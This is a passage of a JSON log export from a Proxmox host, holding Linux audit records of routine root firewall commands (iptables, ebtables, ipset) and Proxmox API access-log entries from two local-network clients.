msg=audit(1781964495.882:61268): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966106073,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.073:68470): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964730439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964730.439:62342): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59792 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405332,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.332:65481): arch=c000003e syscall=59 success=no exit=-2 a0=7fff307f6030 a1=5e33a1ec5310 a2=5e33a1ebe680 a3=5 items=1 ppid=62898 pid=62899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096119,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.119:59578): arch=c000003e syscall=59 success=yes exit=0 a0=5e77b23afac8 a1=7fff3ef2f440 a2=5e77de712680 a3=5e77b239324e items=2 ppid=57214 pid=57216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.107:68477): arch=c000003e syscall=59 success=yes exit=0 a0=5f103661cac8 a1=7ffcc5dfe280 a2=5f10523be680 a3=5f103660024e items=2 ppid=65757 pid=65759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965363735,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:42 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781964495877,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.877:61267): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966106068,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.068:68468): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964725939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.939:62338): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe5a1062c0 a1=6340ed01f200 a2=6340ecffd680 a3=5 items=1 ppid=59785 pid=59786 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965405243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965405.243:65463): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc13d14880 a1=610b3d5c6200 a2=610b3d5a4680 a3=5 items=1 ppid=62879 pid=62880 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.118:59577): arch=c000003e syscall=59 success=yes exit=0 a0=7fff3ef2f400 a1=5e77de719310 a2=5e77de712680 a3=5 items=2 ppid=57214 pid=57215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.106:68476): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcc5dfe240 a1=5f10523e01c0 a2=5f10523be680 a3=5 items=2 ppid=65757 pid=65758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:41 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781964495872,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.872:61266): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966106062,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.062:68467): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964725860,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.860:62320): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd6234e5d0 a1=63e61af821c0 a2=63e61af60680 a3=5 items=1 ppid=59766 pid=59767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965402.884:65453): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.114:59575): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.102:68474): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:41 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1107"} {"@timestamp":1781964495867,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.867:61265): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966106056,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.056:68466): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964725429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.429:62312): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402884,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965402.884:65452): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.107:59574): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106095,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.095:68473): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65756 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965362629,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:41 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964495860,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.860:61264): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966106051,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.051:68465): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964725429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.429:62311): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965402.875:65450): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.100:59573): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57212 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.088:68472): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65755 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965360884,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:39 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964495853,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.853:61263): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966106044,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.044:68464): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964725417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.417:62309): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965402875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965402.875:65449): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62868 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.092:59572): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57211 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106081,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.081:68471): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965360884,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:39 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964495849,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.849:61262): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966106039,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.039:68463): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964725417,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964725.417:62308): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965397864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965397.864:65447): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.083:59571): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57210 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.073:68470): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965360884,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:39 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.846:61261): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966106032,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.032:68462): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964720403,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964720.403:62304): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965397864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965397.864:65446): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096080,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.080:59570): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=63db4a9d0740 items=0 ppid=1156 pid=57209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966106070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.070:68469): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60bd88f24740 items=0 ppid=1156 pid=65752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965360884,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.846:61260): argc=1 a0=\"date\""} {"@timestamp":1781966106024,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.024:68461): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964720403,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964720.403:62303): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965397858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965397.858:65444): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096078,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.078:59569): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1382f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57209 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.068:68468): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0de8e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965358703,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:22:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781964495842,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.842:61258): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966106020,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.020:68460): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964720397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964720.397:62301): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965397858,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965397.858:65443): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=62866 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.073:59568): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139c70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106062,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.062:68467): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ee010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965358703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:37 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781964495836,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.836:61257): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966106017,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.017:68459): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964720397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964720.397:62300): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=59751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.190:65439): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe55b21360 a1=570597a783d0 a2=570597a56680 a3=5 items=1 ppid=62859 pid=62860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.067:59567): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106056,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.056:68466): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13d620 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965358703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:22:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781964495830,"@rawstring":"node=pve type=EXECVE msg=audit(1781964495.830:61256): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966106016,"@rawstring":"node=pve type=EXECVE msg=audit(1781966106.016:68458): argc=1 a0=\"date\""} {"@timestamp":1781964715812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964715.812:62296): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdac453090 a1=5f98fe60b1c0 a2=5f98fe5e9680 a3=5 items=1 ppid=59744 pid=59745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965395103,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.103:65421): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeddeae500 a1=56fd6a239310 a2=56fd6a232680 a3=5 items=1 ppid=62840 pid=62841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096063,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.063:59566): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13af70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57206 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966106051,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966106.051:68465): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4980 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65749 auid=4294967295 uid=0 gid=0 